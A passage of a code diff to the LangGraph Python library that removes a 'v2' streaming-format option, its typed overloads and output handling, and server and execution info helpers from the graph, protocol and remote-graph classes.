_output_mapper = self._output_mapper if version == "v2" else None
_state_mapper = self._state_mapper if version == "v2" else None
with SyncPregelLoop(
input,
stream=StreamProtocol(stream.put, stream_modes),
@@ -2741,14 +2674,7 @@ class Pregel(
):
# emit output
yield from _output(
stream_mode,
print_mode,
subgraphs,
stream.get,
queue.Empty,
version,
_output_mapper,
_state_mapper,
stream_mode, print_mode, subgraphs, stream.get, queue.Empty
)
loop.after_tick()
# wait for checkpoint
@@ -2756,14 +2682,7 @@ class Pregel(
loop._put_checkpoint_fut.result()
# emit output
yield from _output(
stream_mode,
print_mode,
subgraphs,
stream.get,
queue.Empty,
version,
_output_mapper,
_state_mapper,
stream_mode, print_mode, subgraphs, stream.get, queue.Empty
)
# handle exit
if loop.status == "out_of_steps":
@@ -2782,44 +2701,6 @@ class Pregel(
run_manager.on_chain_error(e)
raise
@overload
def astream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
subgraphs: bool = False,
debug: bool | None = None,
version: Literal["v2"],
**kwargs: Unpack[DeprecatedKwargs],
) -> AsyncIterator[StreamPart[StateT, OutputT]]: ...
@overload
def astream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
subgraphs: bool = False,
debug: bool | None = None,
version: Literal["v1"] = ...,
**kwargs: Unpack[DeprecatedKwargs],
) -> AsyncIterator[dict[str, Any] | Any]: ...
async def astream(
self,
input: InputT | Command | None,
@@ -2834,7 +2715,6 @@ class Pregel(
durability: Durability | None = None,
subgraphs: bool = False,
debug: bool | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Unpack[DeprecatedKwargs],
) -> AsyncIterator[dict[str, Any] | Any]:
"""Asynchronously stream graph steps for a single input.
@@ -2920,8 +2800,6 @@ class Pregel(
config = ensure_config(self.config, config)
callback_manager = get_async_callback_manager_for_config(config)
if "ls_integration" not in callback_manager.metadata:
callback_manager.add_metadata({"ls_integration": "langgraph"})
run_manager = await callback_manager.on_chain_start(
None,
input,
@@ -3023,25 +2901,16 @@ class Pregel(
if durability is not None:
config[CONF][CONFIG_KEY_DURABILITY] = durability_
# build server_info from metadata + parent runtime
parent_runtime = config[CONF].get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME)
server_info = _build_server_info(config, parent_runtime)
runtime = Runtime(
context=_coerce_context(self.context_schema, context),
store=store,
stream_writer=stream_writer,
previous=None,
execution_info=None,
server_info=server_info,
)
parent_runtime = config[CONF].get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME)
runtime = parent_runtime.merge(runtime)
config[CONF][CONFIG_KEY_RUNTIME] = runtime
# resolve mappers for v2 stream coercion
_output_mapper = self._output_mapper if version == "v2" else None
_state_mapper = self._state_mapper if version == "v2" else None
async with AsyncPregelLoop(
input,
stream=StreamProtocol(stream.put_nowait, stream_modes),
@@ -3138,9 +3007,6 @@ class Pregel(
subgraphs,
stream.get_nowait,
asyncio.QueueEmpty,
version,
_output_mapper,
_state_mapper,
):
yield o
loop.after_tick()
@@ -3159,9 +3025,6 @@ class Pregel(
subgraphs,
stream.get_nowait,
asyncio.QueueEmpty,
version,
_output_mapper,
_state_mapper,
):
yield o
# handle exit
@@ -3181,41 +3044,6 @@ class Pregel(
await asyncio.shield(run_manager.on_chain_error(e))
raise
@overload
def invoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: Literal["values"] = ...,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> GraphOutput[OutputT]: ...
@overload
def invoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> list[StreamPart[StateT, OutputT]]: ...
@overload
def invoke(
self,
input: InputT | Command | None,
@@ -3228,23 +3056,6 @@ class Pregel(
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v1"] = ...,
**kwargs: Any,
) -> dict[str, Any] | Any: ...
def invoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode = "values",
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Any,
) -> dict[str, Any] | Any:
"""Run the graph with a single input and config.
@@ -3268,9 +3079,6 @@ class Pregel(
- `"sync"`: Changes are persisted synchronously before the next step starts.
- `"async"`: Changes are persisted asynchronously while the next step executes.
- `"exit"`: Changes are persisted only when the graph exits.
version: The streaming format version. `"v1"` (default) returns the
traditional format, `"v2"` returns `StreamPart` typed dicts when
`stream_mode` is not `"values"`.
**kwargs: Additional keyword arguments to pass to the graph run.
Returns:
@@ -3283,64 +3091,39 @@ class Pregel(
chunks: list[dict[str, Any] | Any] = []
interrupts: list[Interrupt] = []
if version == "v2":
# v2: values stream parts carry interrupts directly
for chunk in self.stream(
input,
config,
context=context,
stream_mode="values" if stream_mode == "values" else stream_mode,
print_mode=print_mode,
output_keys=output_keys,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
durability=durability,
version=version,
**kwargs,
):
if stream_mode == "values":
latest = chunk["data"]
if chunk_ints := chunk.get("interrupts", ()):
interrupts.extend(chunk_ints) # type: ignore[arg-type]
for chunk in self.stream(
input,
config,
context=context,
stream_mode=["updates", "values"]
if stream_mode == "values"
else stream_mode,
print_mode=print_mode,
output_keys=output_keys,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
durability=durability,
**kwargs,
):
if stream_mode == "values":
if len(chunk) == 2:
mode, payload = cast(tuple[StreamMode, Any], chunk)
else:
chunks.append(chunk)
else:
# v1: collect interrupts from updates stream
for chunk in self.stream(
input,
config,
context=context,
stream_mode=(
["updates", "values"] if stream_mode == "values" else stream_mode
),
print_mode=print_mode,
output_keys=output_keys,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
durability=durability,
**kwargs,
):
if stream_mode == "values":
if len(chunk) == 2:
mode, payload = cast(tuple[StreamMode, Any], chunk)
else:
_, mode, payload = cast(
tuple[tuple[str, ...], StreamMode, Any], chunk
)
if (
mode == "updates"
and isinstance(payload, dict)
and (ints := payload.get(INTERRUPT)) is not None
):
interrupts.extend(ints)
elif mode == "values":
latest = payload
else:
chunks.append(chunk)
_, mode, payload = cast(
tuple[tuple[str, ...], StreamMode, Any], chunk
)
if (
mode == "updates"
and isinstance(payload, dict)
and (ints := payload.get(INTERRUPT)) is not None
):
interrupts.extend(ints)
elif mode == "values":
latest = payload
else:
chunks.append(chunk)
if stream_mode == "values":
if version == "v2":
return GraphOutput(value=latest, interrupts=tuple(interrupts))
if interrupts:
return (
{**latest, INTERRUPT: interrupts}
@@ -3351,41 +3134,6 @@ class Pregel(
else:
return chunks
@overload
async def ainvoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: Literal["values"] = ...,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> GraphOutput[OutputT]: ...
@overload
async def ainvoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> list[StreamPart[StateT, OutputT]]: ...
@overload
async def ainvoke(
self,
input: InputT | Command | None,
@@ -3398,23 +3146,6 @@ class Pregel(
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v1"] = ...,
**kwargs: Any,
) -> dict[str, Any] | Any: ...
async def ainvoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode = "values",
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Any,
) -> dict[str, Any] | Any:
"""Asynchronously run the graph with a single input and config.
@@ -3438,9 +3169,6 @@ class Pregel(
- `"sync"`: Changes are persisted synchronously before the next step starts.
- `"async"`: Changes are persisted asynchronously while the next step executes.
- `"exit"`: Changes are persisted only when the graph exits.
version: The streaming format version. `"v1"` (default) returns the
traditional format, `"v2"` returns `StreamPart` typed dicts when
`stream_mode` is not `"values"`.
**kwargs: Additional keyword arguments to pass to the graph run.
Returns:
@@ -3453,64 +3181,39 @@ class Pregel(
chunks: list[dict[str, Any] | Any] = []
interrupts: list[Interrupt] = []
if version == "v2":
# v2: values stream parts carry interrupts directly
async for chunk in self.astream(
input,
config,
context=context,
stream_mode="values" if stream_mode == "values" else stream_mode,
print_mode=print_mode,
output_keys=output_keys,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
durability=durability,
version=version,
**kwargs,
):
if stream_mode == "values":
latest = chunk["data"]
if chunk_ints := chunk.get("interrupts", ()):
interrupts.extend(chunk_ints) # type: ignore[arg-type]
async for chunk in self.astream(
input,
config,
context=context,
stream_mode=["updates", "values"]
if stream_mode == "values"
else stream_mode,
print_mode=print_mode,
output_keys=output_keys,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
durability=durability,
**kwargs,
):
if stream_mode == "values":
if len(chunk) == 2:
mode, payload = cast(tuple[StreamMode, Any], chunk)
else:
chunks.append(chunk)
else:
# v1: collect interrupts from updates stream
async for chunk in self.astream(
input,
config,
context=context,
stream_mode=(
["updates", "values"] if stream_mode == "values" else stream_mode
),
print_mode=print_mode,
output_keys=output_keys,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
durability=durability,
**kwargs,
):
if stream_mode == "values":
if len(chunk) == 2:
mode, payload = cast(tuple[StreamMode, Any], chunk)
else:
_, mode, payload = cast(
tuple[tuple[str, ...], StreamMode, Any], chunk
)
if (
mode == "updates"
and isinstance(payload, dict)
and (ints := payload.get(INTERRUPT)) is not None
):
interrupts.extend(ints)
elif mode == "values":
latest = payload
else:
chunks.append(chunk)
_, mode, payload = cast(
tuple[tuple[str, ...], StreamMode, Any], chunk
)
if (
mode == "updates"
and isinstance(payload, dict)
and (ints := payload.get(INTERRUPT)) is not None
):
interrupts.extend(ints)
elif mode == "values":
latest = payload
else:
chunks.append(chunk)
if stream_mode == "values":
if version == "v2":
return GraphOutput(value=latest, interrupts=tuple(interrupts))
if interrupts:
return (
{**latest, INTERRUPT: interrupts}
@@ -3575,9 +3278,6 @@ def _output(
stream_subgraphs: bool,
getter: Callable[[], tuple[tuple[str, ...], str, Any]],
empty_exc: type[Exception],
version: Literal["v1", "v2"] = "v1",
output_mapper: Callable[[Any], Any] | None = None,
state_mapper: Callable[[Any], Any] | None = None,
) -> Iterator:
while True:
try:
@@ -3605,23 +3305,7 @@ def _output(
)
)
if mode in stream_mode:
if version == "v2":
if mode == "values":
# pop __interrupt__ into typed field, coerce data
ints: tuple[Interrupt, ...] = ()
if isinstance(payload, dict):
ints = payload.pop(INTERRUPT, ())
if output_mapper:
payload = output_mapper(payload)
yield {"type": mode, "ns": ns, "data": payload, "interrupts": ints}
elif mode in ("checkpoints", "debug"):
# coerce state values in checkpoint/debug payloads
if state_mapper:
_coerce_checkpoint_values(payload, state_mapper)
yield {"type": mode, "ns": ns, "data": payload}
else:
yield {"type": mode, "ns": ns, "data": payload}
elif stream_subgraphs and isinstance(stream_mode, list):
if stream_subgraphs and isinstance(stream_mode, list):
yield (ns, mode, payload)
elif isinstance(stream_mode, list):
yield (mode, payload)
@@ -3631,63 +3315,6 @@ def _output(
yield payload
def _coerce_checkpoint_values(payload: Any, mapper: Callable[[Any], Any]) -> None:
"""Coerce `values` dicts inside checkpoint or debug payloads in-place.
Skips the initial checkpoint (where next contains ``__start__``) because
not all channels are populated yet and coercion would fail.
"""
_START = "__start__"
# debug wrapper: {"type": "checkpoint", "payload": {"values": dict, ...}}
if (
isinstance(payload, dict)
and payload.get("type") == "checkpoint"
and isinstance(payload.get("payload"), dict)
and isinstance(payload["payload"].get("values"), dict)
and _START not in payload["payload"].get("next", ())
):
payload["payload"]["values"] = mapper(payload["payload"]["values"])
# direct checkpoint payload: {"values": dict, ...}
elif (
isinstance(payload, dict)
and isinstance(payload.get("values"), dict)
and _START not in payload.get("next", ())
):
payload["values"] = mapper(payload["values"])
def _build_server_info(
config: RunnableConfig, parent_runtime: Runtime[Any]
) -> ServerInfo | None:
"""Build ServerInfo from config metadata and configurable.
The server puts assistant_id/graph_id in config metadata and the
authenticated user dict in configurable["langgraph_auth_user"].
"""
metadata = config.get("metadata") or {}
configurable = config.get(CONF) or {}
assistant_id = metadata.get("assistant_id")
graph_id = metadata.get("graph_id")
# Read authenticated user from configurable (set by LangGraph Server).
# We prefer isinstance(BaseUser) but fall back to hasattr("identity")
# because the server's ProxyUser provides `permissions` via __getattr__,
# which Python's runtime_checkable Protocol check doesn't see.
auth_user_data = configurable.get("langgraph_auth_user")
user: BaseUser | None = None
if auth_user_data is not None:
if isinstance(auth_user_data, BaseUser) or hasattr(auth_user_data, "identity"):
user = cast(BaseUser, auth_user_data)
if assistant_id is not None or graph_id is not None or user is not None:
return ServerInfo(
assistant_id=str(assistant_id) if assistant_id else "",
graph_id=str(graph_id) if graph_id else "",
user=user,
)
return None
def _coerce_context(
context_schema: type[ContextT] | None, context: Any
) -> ContextT | None:
+2 -126
View File
@@ -2,21 +2,13 @@ from __future__ import annotations
from abc import abstractmethod
from collections.abc import AsyncIterator, Callable, Iterator, Sequence
from typing import Any, Generic, Literal, cast, overload
from typing import Any, Generic, cast
from langchain_core.runnables import Runnable, RunnableConfig
from langchain_core.runnables.graph import Graph as DrawableGraph
from typing_extensions import Self
from langgraph.types import (
All,
Command,
GraphOutput,
StateSnapshot,
StateUpdate,
StreamMode,
StreamPart,
)
from langgraph.types import All, Command, StateSnapshot, StateUpdate, StreamMode
from langgraph.typing import ContextT, InputT, OutputT, StateT
__all__ = ("PregelProtocol", "StreamProtocol")
@@ -104,7 +96,6 @@ class PregelProtocol(Runnable[InputT, Any], Generic[StateT, ContextT, InputT, Ou
as_node: str | None = None,
) -> RunnableConfig: ...
@overload
@abstractmethod
def stream(
self,
@@ -116,39 +107,8 @@ class PregelProtocol(Runnable[InputT, Any], Generic[StateT, ContextT, InputT, Ou
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
version: Literal["v2"],
) -> Iterator[StreamPart[StateT, OutputT]]: ...
@overload
@abstractmethod
def stream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
version: Literal["v1"] = ...,
) -> Iterator[dict[str, Any] | Any]: ...
@abstractmethod
def stream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
version: Literal["v1", "v2"] = "v1",
) -> Iterator[dict[str, Any] | Any]: ...
@overload
@abstractmethod
def astream(
self,
@@ -160,39 +120,8 @@ class PregelProtocol(Runnable[InputT, Any], Generic[StateT, ContextT, InputT, Ou
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
version: Literal["v2"],
) -> AsyncIterator[StreamPart[StateT, OutputT]]: ...
@overload
@abstractmethod
def astream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
version: Literal["v1"] = ...,
) -> AsyncIterator[dict[str, Any] | Any]: ...
@abstractmethod
def astream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
version: Literal["v1", "v2"] = "v1",
) -> AsyncIterator[dict[str, Any] | Any]: ...
@overload
@abstractmethod
def invoke(
self,
@@ -202,58 +131,6 @@ class PregelProtocol(Runnable[InputT, Any], Generic[StateT, ContextT, InputT, Ou
context: ContextT | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
version: Literal["v2"],
) -> GraphOutput[OutputT]: ...
@overload
@abstractmethod
def invoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
version: Literal["v1"] = ...,
) -> dict[str, Any] | Any: ...
@abstractmethod
def invoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
version: Literal["v1", "v2"] = "v1",
) -> dict[str, Any] | Any: ...
@overload
@abstractmethod
async def ainvoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
version: Literal["v2"],
) -> GraphOutput[OutputT]: ...
@overload
@abstractmethod
async def ainvoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
version: Literal["v1"] = ...,
) -> dict[str, Any] | Any: ...
@abstractmethod
@@ -265,7 +142,6 @@ class PregelProtocol(Runnable[InputT, Any], Generic[StateT, ContextT, InputT, Ou
context: ContextT | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
version: Literal["v1", "v2"] = "v1",
) -> dict[str, Any] | Any: ...
+8 -184
View File
@@ -7,7 +7,6 @@ from typing import (
Any,
Literal,
cast,
overload,
)
from uuid import UUID
@@ -31,7 +30,6 @@ from langgraph_sdk.client import (
)
from langgraph_sdk.schema import (
Checkpoint,
Context,
QueryParamTypes,
ThreadState,
)
@@ -59,12 +57,10 @@ from langgraph.pregel.protocol import PregelProtocol, StreamProtocol
from langgraph.types import (
All,
Command,
GraphOutput,
Interrupt,
PregelTask,
StateSnapshot,
StreamMode,
StreamPart,
)
logger = logging.getLogger(__name__)
@@ -686,59 +682,23 @@ class RemoteGraph(PregelProtocol):
updated_stream_modes.remove("events")
return (updated_stream_modes, requested_stream_modes, req_single, stream)
@overload
def stream(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> Iterator[StreamPart]: ...
@overload
def stream(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1"] = ...,
**kwargs: Any,
) -> Iterator[dict[str, Any] | Any]: ...
def stream(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Any,
) -> Iterator[dict[str, Any] | Any]:
"""Create a run and stream the results.
This method calls `POST /threads/{thread_id}/runs/stream` if a `thread_id`
is specified in the `configurable` field of the config or
is speciffed in the `configurable` field of the config or
`POST /runs/stream` otherwise.
Args:
@@ -773,7 +733,6 @@ class RemoteGraph(PregelProtocol):
input=input,
command=command,
config=sanitized_config,
context=context,
stream_mode=stream_modes,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
@@ -815,18 +774,10 @@ class RemoteGraph(PregelProtocol):
continue
if chunk.event.startswith("messages"):
chunk = chunk._replace(data=tuple(chunk.data))
chunk = chunk._replace(data=tuple(chunk.data)) # type: ignore
# emit chunk
if version == "v2":
ints: tuple[Interrupt, ...] = ()
if mode == "values" and isinstance(chunk.data, dict):
ints = tuple(
Interrupt(**i) if isinstance(i, dict) else i
for i in chunk.data.pop(INTERRUPT, ())
)
yield {"type": mode, "ns": ns, "data": chunk.data, "interrupts": ints}
elif subgraphs:
if subgraphs:
if NS_SEP in chunk.event:
mode, ns_ = chunk.event.split(NS_SEP, 1)
ns = tuple(ns_.split(NS_SEP))
@@ -841,59 +792,23 @@ class RemoteGraph(PregelProtocol):
else:
yield chunk
@overload
def astream(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> AsyncIterator[StreamPart]: ...
@overload
def astream(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1"] = ...,
**kwargs: Any,
) -> AsyncIterator[dict[str, Any] | Any]: ...
async def astream(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Any,
) -> AsyncIterator[dict[str, Any] | Any]:
"""Create a run and stream the results.
This method calls `POST /threads/{thread_id}/runs/stream` if a `thread_id`
is specified in the `configurable` field of the config or
is speciffed in the `configurable` field of the config or
`POST /runs/stream` otherwise.
Args:
@@ -928,7 +843,6 @@ class RemoteGraph(PregelProtocol):
input=input,
command=command,
config=sanitized_config,
context=context,
stream_mode=stream_modes,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
@@ -970,18 +884,10 @@ class RemoteGraph(PregelProtocol):
continue
if chunk.event.startswith("messages"):
chunk = chunk._replace(data=tuple(chunk.data))
chunk = chunk._replace(data=tuple(chunk.data)) # type: ignore
# emit chunk
if version == "v2":
ints: tuple[Interrupt, ...] = ()
if mode == "values" and isinstance(chunk.data, dict):
ints = tuple(
Interrupt(**i) if isinstance(i, dict) else i
for i in chunk.data.pop(INTERRUPT, ())
)
yield {"type": mode, "ns": ns, "data": chunk.data, "interrupts": ints}
elif subgraphs:
if subgraphs:
if NS_SEP in chunk.event:
mode, ns_ = chunk.event.split(NS_SEP, 1)
ns = tuple(ns_.split(NS_SEP))
@@ -1012,47 +918,15 @@ class RemoteGraph(PregelProtocol):
) -> AsyncIterator[dict[str, Any]]:
raise NotImplementedError
@overload
def invoke(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> GraphOutput[dict[str, Any]]: ...
@overload
def invoke(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1"] = ...,
**kwargs: Any,
) -> dict[str, Any] | Any: ...
def invoke(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Any,
) -> dict[str, Any] | Any:
"""Create a run, wait until it finishes and return the final state.
@@ -1063,78 +937,37 @@ class RemoteGraph(PregelProtocol):
interrupt_before: Interrupt the graph before these nodes.
interrupt_after: Interrupt the graph after these nodes.
headers: Additional headers to pass to the request.
version: The streaming format version. `"v1"` (default) returns the
traditional format, `"v2"` returns `StreamPart` typed dicts.
**kwargs: Additional params to pass to RemoteGraph.stream.
Returns:
The output of the graph.
"""
for chunk in self.stream( # type: ignore[misc, call-overload]
for chunk in self.stream(
input,
config=config,
context=context,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
headers=headers,
stream_mode="values",
params=params,
version=version,
**kwargs,
):
pass
try:
if version == "v2":
return GraphOutput(
value=chunk["data"],
interrupts=tuple(chunk.get("interrupts", ())),
)
return chunk
except UnboundLocalError:
logger.warning("No events received from remote graph")
return None
@overload
async def ainvoke(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> GraphOutput[dict[str, Any]]: ...
@overload
async def ainvoke(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1"] = ...,
**kwargs: Any,
) -> dict[str, Any] | Any: ...
async def ainvoke(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Any,
) -> dict[str, Any] | Any:
"""Create a run, wait until it finishes and return the final state.
@@ -1145,32 +978,23 @@ class RemoteGraph(PregelProtocol):
interrupt_before: Interrupt the graph before these nodes.
interrupt_after: Interrupt the graph after these nodes.
headers: Additional headers to pass to the request.
version: The streaming format version. `"v1"` (default) returns the
traditional format, `"v2"` returns `StreamPart` typed dicts.
**kwargs: Additional params to pass to RemoteGraph.astream.
Returns:
The output of the graph.
"""
async for chunk in self.astream( # type: ignore[misc, call-overload]
async for chunk in self.astream(
input,
config=config,
context=context,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
headers=headers,
stream_mode="values",
params=params,
version=version,
**kwargs,
):
pass
try:
if version == "v2":
return GraphOutput(
value=chunk["data"],
interrupts=tuple(chunk.get("interrupts", ())),
)
return chunk
except UnboundLocalError:
logger.warning("No events received from remote graph")
+2 -85
View File
@@ -4,7 +4,6 @@ from dataclasses import dataclass, field, replace
from typing import Any, Generic, cast
from langgraph.store.base import BaseStore
from langgraph_sdk.auth.types import BaseUser
from typing_extensions import TypedDict, Unpack
from langgraph._internal._constants import CONF, CONFIG_KEY_RUNTIME
@@ -12,66 +11,7 @@ from langgraph.config import get_config
from langgraph.types import _DC_KWARGS, StreamWriter
from langgraph.typing import ContextT
__all__ = (
"BaseUser",
"ExecutionInfo",
"Runtime",
"ServerInfo",
"get_runtime",
)
@dataclass(frozen=True, slots=True)
class ExecutionInfo:
"""Read-only execution info/metadata for the execution of current thread/run/node."""
checkpoint_id: str
"""The checkpoint ID for the current execution."""
checkpoint_ns: str
"""The checkpoint namespace for the current execution."""
task_id: str
"""The task ID for the current execution."""
thread_id: str | None = None
"""The thread ID for the current execution.
